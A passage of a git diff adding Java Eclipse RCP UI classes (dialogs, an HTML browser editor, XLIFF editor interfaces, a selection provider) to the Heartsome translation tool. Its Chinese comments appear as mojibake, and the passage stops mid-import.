本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.bean; + +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class XliffEditorParameter implements IPropertyChangeListener { + + private boolean isShowNonpirnttingCharacter; + + private IPreferenceStore ps; + private static XliffEditorParameter instance; + + public static XliffEditorParameter getInstance() { + if (instance == null) { + instance = new XliffEditorParameter(); + } + return instance; + } + + private XliffEditorParameter() { + ps = Activator.getDefault().getPreferenceStore(); + if (ps != null) { + ps.addPropertyChangeListener(this); + loadPreferenceValues(); + } + } + + public void propertyChange(PropertyChangeEvent event) { + if (ps != null) { + loadPreferenceValues(); + } + } + + private void loadPreferenceValues() { + isShowNonpirnttingCharacter = ps.getBoolean(IPreferenceConstants.XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER); + } + + public boolean isShowNonpirnttingCharacter() { + return isShowNonpirnttingCharacter; + } + + public void setShowNonpirnttingCharacter(boolean isShowNonpirnttingCharacter) { + this.isShowNonpirnttingCharacter = isShowNonpirnttingCharacter; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/composite/DialogLogoCmp.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/composite/DialogLogoCmp.java new file mode 100644 index 0000000..a4a46d4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/composite/DialogLogoCmp.java @@ -0,0 +1,111 @@ +package net.heartsome.cat.ts.ui.composite; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; + +/** + * 所有éžå‘导框的弹出窗体所用的图标显示区 + * @author robert 2012-01-12 + * @version + * @since JDK1.6 + */ +public class DialogLogoCmp extends Composite{ + //logo显示区的å称 + private String title; + //logo显示区的æè¿° + private String message; + private Label titileLbl; + private Label tipTxt; + private Image logo; + private Composite rightLogoCmp; + + public DialogLogoCmp(Composite parent, int style, String title, String message,Image logo) { + super(parent, style | SWT.BORDER); + this.title = title; + this.message = message; + this.logo = logo; + init(); + } + + public void init(){ + GridDataFactory.fillDefaults().grab(true, false).hint(SWT.DEFAULT, 70).applyTo(this); + GridLayoutFactory.fillDefaults().numColumns(2).margins(0, 0).applyTo(this); + Color textBgColor = Display.getCurrent().getSystemColor(SWT.COLOR_WHITE); + this.setBackground(textBgColor); + + Composite leftLogoCmp = new Composite(this, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(leftLogoCmp); + leftLogoCmp.setBackground(textBgColor); + GridLayoutFactory.fillDefaults().numColumns(1).extendedMargins(10, 0, 8, 0).applyTo(leftLogoCmp); + + titileLbl = new Label(leftLogoCmp, SWT.NONE); + titileLbl.setText(title == null ? "" : title); + titileLbl.setBackground(textBgColor); + titileLbl.setFont(JFaceResources.getBannerFont()); + + tipTxt = new Label(leftLogoCmp, SWT.WRAP); + tipTxt.setText(message == null ? "" : message); + GridDataFactory.fillDefaults().grab(true, true).indent(8, 4).applyTo(tipTxt); + tipTxt.setBackground(textBgColor); + tipTxt.setToolTipText(message == null ? "" : message); + tipTxt.setFont(JFaceResources.getDialogFont()); + + rightLogoCmp = new Composite(this, SWT.NONE); + rightLogoCmp.setBackground(textBgColor); + GridDataFactory.swtDefaults().hint(100, SWT.DEFAULT).grab(false, true).applyTo(rightLogoCmp); + if(logo!=null){ + rightLogoCmp.setBackgroundImage(logo); + } + } + + /** + * 给弹出窗体的logo区设置标题 + * @param title ; + */ + public void setTitle(String title){ + this.title = title; + titileLbl.setText(title); + } + + /** + * 给弹出窗体的logo区设置æç¤ºä¿¡æ¯ + * @param message ; + */ + public void setMessage(String message){ + this.message = message; + tipTxt.setText(message); + } + + /** + * 设置Logo图标 + * @param logo 图标; + */ + public void setLogo(Image logo){ + if(rightLogoCmp != null && !rightLogoCmp.isDisposed()){ + rightLogoCmp.setBackgroundImage(logo); + if(this.logo != null){ + logo.dispose(); + } + this.logo = logo; + rightLogoCmp.getParent().layout(); + } + } + + /** + * (non-Javadoc) + * @see org.eclipse.swt.widgets.Widget#dispose() + */ + public void dispose(){ + if(this.logo != null && !this.logo.isDisposed()){ + this.logo.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/HelpDialog.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/HelpDialog.java new file mode 100644 index 0000000..e9c8787 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/HelpDialog.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.ts.ui.dialog; + +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; + +/** + * 专门针对继承 dialog 而设置的帮助按钮 + * @author robert 2012-09-06 + */ +public class HelpDialog extends TrayDialog{ + private String helpUrl = ""; + private ToolItem helpItem; + protected HelpDialog(Shell parentShell) { + super(parentShell); + // 默认设置帮助的 toolbar å¯ç”¨ + setHelpAvailable(true); + } + + /** + * 设置帮助的键接 + * @param helpUrl + */ + public void setHelpUrl(String helpUrl) { + this.helpUrl = helpUrl; + if (helpUrl == null || "".equals(helpUrl)) { + helpItem.setEnabled(false); + }else { + helpItem.setEnabled(true); + } + } + + /** + * robert help 2012-08-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/InputDialog.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/InputDialog.java new file mode 100644 index 0000000..ca8d6e6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/dialog/InputDialog.java @@ -0,0 +1,296 @@ +package net.heartsome.cat.ts.ui.dialog; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.resource.StringConverter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * A simple input dialog for soliciting an input string from the user.
    + * 此类与 org.eclipse.jface.dialogs.InputDialog 的区别为使用此类时错误æ示信æ¯è¶…过对è¯æ¡†å®½åº¦ä¼šè‡ªåŠ¨æ¢è¡Œå¹¶è°ƒæ•´çª—å£é«˜åº¦ã€‚ + *

    + * This concrete dialog class can be instantiated as is, or further subclassed as required. + *

    + */ +public class InputDialog extends Dialog { + /** + * The title of the dialog. + */ + private String title; + + /** + * The message to display, or null if none. + */ + private String message; + + /** + * The input value; the empty string by default. + */ + private String value = "";//$NON-NLS-1$ + + /** + * The input validator, or null if none. + */ + private IInputValidator validator; + + /** + * Ok button widget. + */ + private Button okButton; + + /** + * Input text widget. + */ + private Text text; + + /** + * Error message label widget. + */ + private Text errorMessageText; + + /** + * Error message string. + */ + private String errorMessage; + + /** åˆå§‹ä½ç½® */ + private Point initLocation; + + /** åˆå§‹å¤§å° */ + private Point initSize; + + /** + * Creates an input dialog with OK and Cancel buttons. Note that the dialog will have no visual representation (no + * widgets) until it is told to open. + *

    + * Note that the open method blocks for input dialogs. + *

    + * @param parentShell + * the parent shell, or null to create a top-level shell + * @param dialogTitle + * the dialog title, or null if none + * @param dialogMessage + * the dialog message, or null if none + * @param initialValue + * the initial input value, or null if none (equivalent to the empty string) + * @param validator + * an input validator, or null if none + */ + public InputDialog(Shell parentShell, String dialogTitle, String dialogMessage, String initialValue, + IInputValidator validator) { + super(parentShell); + this.title = dialogTitle; + message = dialogMessage; + if (initialValue == null) { + value = "";//$NON-NLS-1$ + } else { + value = initialValue; + } + this.validator = validator; + } + + /* + * (non-Javadoc) Method declared on Dialog. + */ + protected void buttonPressed(int buttonId) { + if (buttonId == IDialogConstants.OK_ID) { + value = text.getText(); + } else { + value = null; + } + super.buttonPressed(buttonId); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.window.Window#configureShell(org.eclipse.swt.widgets.Shell) + */ + protected void configureShell(Shell shell) { + super.configureShell(shell); + if (title != null) { + shell.setText(title); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.dialogs.Dialog#createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) + */ + protected void createButtonsForButtonBar(Composite parent) { + // create OK and Cancel buttons by default + okButton = createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + // do this here because setting the text will set enablement on the ok + // button + text.setFocus(); + if (value != null) { + text.setText(value); + text.selectAll(); + } + } + + /* + * (non-Javadoc) Method declared on Dialog. + */ + protected Control createDialogArea(Composite parent) { + // create composite + Composite composite = (Composite) super.createDialogArea(parent); + // create message + if (message != null) { + Label label = new Label(composite, SWT.WRAP); + label.setText(message); + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL + | GridData.HORIZONTAL_ALIGN_FILL | GridData.VERTICAL_ALIGN_CENTER); + data.widthHint = convertHorizontalDLUsToPixels(IDialogConstants.MINIMUM_MESSAGE_AREA_WIDTH); + label.setLayoutData(data); + label.setFont(parent.getFont()); + } + text = new Text(composite, getInputTextStyle()); + text.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL | GridData.HORIZONTAL_ALIGN_FILL)); + text.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + validateInput(); + } + }); + errorMessageText = new Text(composite, SWT.READ_ONLY | SWT.WRAP); + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.HORIZONTAL_ALIGN_FILL); + errorMessageText.setLayoutData(data); + errorMessageText.setBackground(errorMessageText.getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + // Set the error message text + // See https://bugs.eclipse.org/bugs/show_bug.cgi?id=66292 + setErrorMessage(errorMessage); + + applyDialogFont(composite); + return composite; + } + + /** + * Returns the error message label. + * @return the error message label + * @deprecated use setErrorMessage(String) instead + */ + protected Label getErrorMessageLabel() { + return null; + } + + /** + * Returns the ok button. + * @return the ok button + */ + protected Button getOkButton() { + return okButton; + } + + /** + * Returns the text area. + * @return the text area + */ + protected Text getText() { + return text; + } + + /** + * Returns the validator. + * @return the validator + */ + protected IInputValidator getValidator() { + return validator; + } + + /** + * Returns the string typed into this input dialog. + * @return the input string + */ + public String getValue() { + return value; + } + + /** + * Validates the input. + *

    + * The default implementation of this framework method delegates the request to the supplied input validator object; + * if it finds the input invalid, the error message is displayed in the dialog's message line. This hook method is + * called whenever the text changes in the input field. + *

    + */ + protected void validateInput() { + String errorMessage = null; + if (validator != null) { + errorMessage = validator.isValid(text.getText()); + } + // Bug 16256: important not to treat "" (blank error) the same as null + // (no error) + setErrorMessage(errorMessage); + } + + /** + * Sets or clears the error message. If not null, the OK button is disabled. + * @param errorMessage + * the error message, or null to clear + * @since 3.0 + */ + public void setErrorMessage(String errorMessage) { + this.errorMessage = errorMessage; + if (errorMessageText != null && !errorMessageText.isDisposed()) { + String msg = errorMessageText.getText(); + msg = msg == null ? "" : msg; + errorMessageText.setText(errorMessage == null ? "" : errorMessage); //$NON-NLS-1$ + // Disable the error message text control if there is no error, or + // no error text (empty or whitespace only). Hide it also to avoid + // color change. + // See https://bugs.eclipse.org/bugs/show_bug.cgi?id=130281 + boolean hasError = errorMessage != null && (StringConverter.removeWhiteSpaces(errorMessage)).length() > 0; + errorMessageText.setEnabled(hasError); + errorMessageText.setVisible(hasError); + errorMessageText.getParent().update(); + String msg2 = errorMessageText.getText(); + if (!msg.equals(msg2) && initLocation != null && initSize != null) { + Point p = getShell().computeSize(initSize.x, SWT.DEFAULT); + getShell().setBounds( + getConstrainedShellBounds(new Rectangle(initLocation.x, initLocation.y, initSize.x, p.y))); + } + // Access the ok button by id, in case clients have overridden button creation. + // See https://bugs.eclipse.org/bugs/show_bug.cgi?id=113643 + Control button = getButton(IDialogConstants.OK_ID); + if (button != null) { + button.setEnabled(errorMessage == null); + } + } + } + + /** + * Returns the style bits that should be used for the input text field. Defaults to a single line entry. Subclasses + * may override. + * @return the integer style bits that should be used when creating the input text + * @since 3.4 + */ + protected int getInputTextStyle() { + return SWT.SINGLE | SWT.BORDER; + } + + @Override + protected Point getInitialLocation(Point initialSize) { + initLocation = super.getInitialLocation(initialSize); + return initLocation; + } + + @Override + protected Point getInitialSize() { + initSize = super.getInitialSize(); + return initSize; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/HtmlBrowserEditor.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/HtmlBrowserEditor.java new file mode 100644 index 0000000..826b2d3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/HtmlBrowserEditor.java @@ -0,0 +1,130 @@ +package net.heartsome.cat.ts.ui.editors; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.browser.Browser; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IEditorSite; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.EditorPart; +import org.eclipse.ui.part.FileEditorInput; + +/** + * htmlæµè§ˆå™¨ + * @author robert 2012-04-07 + * @version + * @since JDK1.6 + */ +public class HtmlBrowserEditor extends EditorPart { + /** 事件监å¬å™¨æ供者,任务编辑器通知监å¬å™¨çš„人物。 */ + ISelectionProvider provider = new SelectionProviderAdapter(); + /** 编辑器左上角的图标 */ + private Image titleImage; + private Browser browser; + private String htmlUrl; + private Composite cmp; + + @Override + public void doSave(IProgressMonitor monitor) { + } + + @Override + public void doSaveAs() { + } + + @Override + public void init(IEditorSite site, IEditorInput input) throws PartInitException { + setSite(site); + setInput(input); + setPartName(input.getName()); + + Image oldTitleImage = titleImage; + if (input != null) { + IEditorRegistry editorRegistry = PlatformUI.getWorkbench().getEditorRegistry(); + IEditorDescriptor editorDesc = editorRegistry.findEditor(getSite().getId()); + ImageDescriptor imageDesc = editorDesc != null ? editorDesc.getImageDescriptor() : null; + titleImage = imageDesc != null ? imageDesc.createImage() : null; + } + + setTitleImage(titleImage); + if (oldTitleImage != null && !oldTitleImage.isDisposed()) { + oldTitleImage.dispose(); + } + + FileEditorInput fileInput = (FileEditorInput) input; + htmlUrl = fileInput.getFile().getLocation().toOSString(); + } + + @Override + public boolean isDirty() { + return false; + } + + @Override + public boolean isSaveAsAllowed() { + return false; + } + + @Override + public void createPartControl(Composite parent) { + GridLayoutFactory.fillDefaults().numColumns(1).applyTo(parent); + parent.setLayoutData(new GridData(GridData.FILL_BOTH)); + cmp = new Composite(parent, SWT.BORDER); + GridLayoutFactory.fillDefaults().numColumns(1).applyTo(cmp); + GridDataFactory.fillDefaults().grab(true, true).applyTo(cmp); + + browser = new Browser(cmp, SWT.NONE); + browser.setLayoutData(new GridData(GridData.FILL_BOTH)); + browser.setUrl(htmlUrl); + + browser.addMouseListener(new MouseAdapter() { + @Override + public void mouseDown(MouseEvent e) { + getSite().getPart().setFocus(); + super.mouseDown(e); + } + }); + } + + @Override + public void setFocus() { + cmp.setFocus(); + } +/* + public void addSelectionChangedListener(ISelectionChangedListener listener) { + provider.addSelectionChangedListener(listener); + } + + public ISelection getSelection() { + return provider.getSelection(); + } + + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + provider.removeSelectionChangedListener(listener); + } + + public void setSelection(ISelection selection) { + provider.setSelection(selection); + }*/ + + @Override + public void dispose() { + if(titleImage != null && !titleImage.isDisposed()){ + titleImage.dispose(); + } + super.dispose(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IHSEditor.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IHSEditor.java new file mode 100644 index 0000000..dbc4c0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IHSEditor.java @@ -0,0 +1,46 @@ +/** + * IHSEEditor.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.editors; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; + +/** + * . + * @author stone + * @version + * @since JDK1.6 + */ +public interface IHSEditor { + + /** + * 通知Editor,将选中翻译å•å…ƒçš„翻译修改为value。. + * @param value + * the value + */ + void changeData(String value); + + /** + * 获å–选中的TransUnitBean,没有选中返回null. + * @return the select trans unit bean + */ + TransUnitBean getSelectTransUnitBean(); + + /** + * 修改编辑器的æºæ–‡æœ¬å’Œç¿»è¯‘排列的方å¼ã€‚ + */ + void changeModel(); + + /** + * 设置编辑器的æºæ–‡æœ¬å’Œç¿»è¯‘排列的方å¼ã€‚ + * @param layoutModel + */ + void setModel(int layoutModel); + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IXliffEditor.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IXliffEditor.java new file mode 100644 index 0000000..bc0f43e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/IXliffEditor.java @@ -0,0 +1,203 @@ +package net.heartsome.cat.ts.ui.editors; + +import java.io.File; +import java.util.List; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchPartSite; + +public interface IXliffEditor { + + /** + * 改å˜å•ä¸ªå•å…ƒæ ¼å€¼ + * @param row + * è¡Œ + * @param columnIndex + * 列索引,åªå¯ä¿®æ”¹ Source å’Œ Target 列(å¯ä½¿ç”¨ {@link #getTgtColumnIndex()} å’Œ {@link #getSrcColumnIndex()} 得到)。 + * @param newValue + * 新值 ; + * @param matchType + * 应用匹é…时,匹é…类型,如果ä¸ç¡®å¯ä»¥ä¸ºnullï¼› + * @param quality + * 应用匹é…时,匹é…率,如果ä¸ç¡®å®šå¯ä»¥ä¸ºnullï¼› + */ + void updateCell(int row, int columnIndex, String newValue, String matchType, String quality) + throws ExecutionException; + + /** + * 改å˜å¤šä¸ªå•å…ƒæ ¼çš„值 + * @param rows + * 多行 + * @param columnIndex + * 列索引,åªå¯ä¿®æ”¹ Source å’Œ Target 列(å¯ä½¿ç”¨ {@link #getTgtColumnIndex()} å’Œ {@link #getSrcColumnIndex()} 得到)。 + * @param newValue + * 新值; + */ + void updateCells(int[] rows, int columnIndex, String newValue) throws ExecutionException; + + /** + * 得到 Source 所在列索引 + * @return ; + */ + int getSrcColumnIndex(); + + /** + * 得到 Target 所在列索引 + * @return ; + */ + int getTgtColumnIndex(); + + /** + * 改å˜å½“å‰å¸ƒå±€ ; + */ + void changeLayout(); + + /** + * 改å˜å½“å‰å¸ƒå±€ + * @param isHorizontalLayout + * 是å¦æ˜¯åž‚直布局 ; + */ + void changeLayout(boolean isHorizontalLayout); + + /** + * 设置焦点 ; + */ + void setFocus(); + + /** + * 刷新编辑器 ; + */ + void refresh(); + + /** + * 得到选中的行 + * @return ; + */ + int[] getSelectedRows(); + + /** + * 得到 XLIFF 文件的处ç†ç±» + * @return ; + */ + XLFHandler getXLFHandler(); + + /** + * 得到当å‰çš„IWorkbenchPartSite + * @return ; + */ + IWorkbenchPartSite getSite(); + + /** + * 自动调整 NatTable å¤§å° ; + */ + void autoResize(); + + void autoResizeNotColumn(); + + /** + * é‡ç½®æŽ’åº robert 2011-12-24 + */ + void resetOrder(); + + /** + * æ ¹æ®è¡Œçš„索引跳转到æŸè¡Œ + * @param position + * ; + */ + void jumpToRow(int position, boolean isMultiFiles); + + /** + * 将一个字符串æ’入到光标的ä½ç½® + * @param row + * @param columnIndex + * @param newValue + * ; + */ + void insertCell(int row, int columnIndex, String insertText) throws ExecutionException; + + /** + * 标识该编辑器被关闭åŽæ˜¯å¦ä¿å­˜ï¼Œä»¥å¤‡ä¸‹æ¬¡æ‰“开时é‡æ–°åŠ è½½ --robert + * @param isStore + * ; + */ + void setStore(boolean isStore); + + /** + * 获å–选中文本的纯文本(ä¸åŒ…å«æ ‡è®°ï¼‰ï¼Œå¦‚未选中,返回 null + * @return ; + */ + String getSelectPureText(); + + /** + * 获å–æºè¯­è¨€å称 + * @return ; + */ + String getSrcColumnName(); + + /** + * 获å–目标语言å称 + * @return ; + */ + String getTgtColumnName(); + + /** + * 获å–选中的æºæˆ–目标的文本(标记显示为原始形å¼ï¼‰ + * @param src + * æºæ–‡æœ¬ + * @param tgt + * 目标文本 + */ + void getSelectSrcOrTgtPureText(StringBuffer src, StringBuffer tgt); + + /** + * 得到当å‰é€‰ä¸­çš„行的唯一标识 + * @return ; + */ + List getSelectedRowIds(); + + /** + * 是å¦æ‰“开了多文件(åˆå¹¶æ‰“开)--robert 2012-06-07 + * @return ; + */ + boolean isMultiFile(); + + /** + * 针对åˆå¹¶æ‰“开的nattable,获å–被åˆå¹¶æ‰“开的文件--robert 2012-06-07 + */ + List getMultiFileList(); + + /** + * 获å–指定行å·çš„翻译å•å…ƒå†…容 + * @param rowIndex + * Nattbale中行的索引 + * @return ; + */ + TransUnitBean getRowTransUnitBean(int rowIndex); + + /** + * 获å–匹é…结æŸåŽï¼Œæ ¹æ®è®¾ç½®åº”用最大匹é…率的匹é…或者å¤åˆ¶æºæ–‡åˆ°ç›®æ ‡ + * @param rowIndex + * NatTable row Index + * @param targetContent + * 目标内容; + */ + void affterFuzzyMatchApplayTarget(int rowIndex, String targetContent, String matchType, String quality); + + /** + * 术语é¢æ¿åŠ è½½å®ŒæˆåŽï¼Œè®©ç¼–辑器中的æºé«˜äº®æ˜¾ç¤ºæœ¯è¯­, 如果Terms为null,则刷新背景色 + * @param terms + * ; + */ + void highlightedTerms(List terms); + + /** + * æ ¹æ®æ˜¯å¦æ˜¾ç¤ºéžæ‰“å°å­—符刷新 XLIFF EDITOR + * @param isShow + * æ ¹æ®å½“å‰çš„设置是å¦æ˜¾ç¤ºéžæ‰“å°å­—符; + */ + void refreshWithNonprinttingCharacter(boolean isShow); + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/SelectionProviderAdapter.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/SelectionProviderAdapter.java new file mode 100644 index 0000000..49afc39 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/SelectionProviderAdapter.java @@ -0,0 +1,85 @@ +/** + * SelectionProviderAdapter.java + * + * Version information : + * + * Date:Jan 27, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.ts.ui.editors; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.jface.util.SafeRunnable; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; + +/** + * . + * @author stone + * @version + * @since JDK1.6 + */ +public class SelectionProviderAdapter implements ISelectionProvider { + + /** 监å¬å™¨é›†åˆã€‚ */ + private List listeners = new ArrayList(); + + /** 被选中的对象。 */ + private ISelection theSelection = StructuredSelection.EMPTY; + + /** + * 添加å“应选中对象改å˜åŽäº‹ä»¶çš„监å¬å™¨ã€‚ + * @param listener + * the listener + * @see org.eclipse.jface.viewers.ISelectionProvider#addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void addSelectionChangedListener(ISelectionChangedListener listener) { + listeners.add(listener); + } + + /** + * 获得被选中对象。 + * @return the selection + * @see org.eclipse.jface.viewers.ISelectionProvider#getSelection() + */ + public ISelection getSelection() { + return theSelection; + } + + /** + * 移出å“应选中对象改å˜åŽäº‹ä»¶çš„监å¬å™¨ã€‚ + * @param listener + * 被移出的监å¬å™¨ã€‚ + * @see org.eclipse.jface.viewers.ISelectionProvider#removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) + */ + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + listeners.remove(listener); + } + + /** + * 设置被选中对象,并用安全线程通知监å¬å™¨ã€‚ + * @param selection + * the selection + * @see org.eclipse.jface.viewers.ISelectionProvider#setSelection(org.eclipse.jface.viewers.ISelection) + */ + public void setSelection(ISelection selection) { + theSelection = selection; + final SelectionChangedEvent e = new SelectionChangedEvent(this, selection); + Object[] listenersArray = listeners.toArray(); + for (int i = 0; i < listenersArray.length; i++) { + final ISelectionChangedListener l = (ISelectionChangedListener) listenersArray[i]; + SafeRunner.run(new SafeRunnable() { + public void run() { + l.selectionChanged(e); + } + }); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLFEditor.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLFEditor.java new file mode 100644 index 0000000..a0f4ace --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/editors/XLFEditor.java @@ -0,0 +1,998 @@ +package net.heartsome.cat.ts.ui.editors; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseListener; +import org.eclipse.swt.events.MouseTrackListener; +import org.eclipse.swt.events.SelectionAdapter; +import 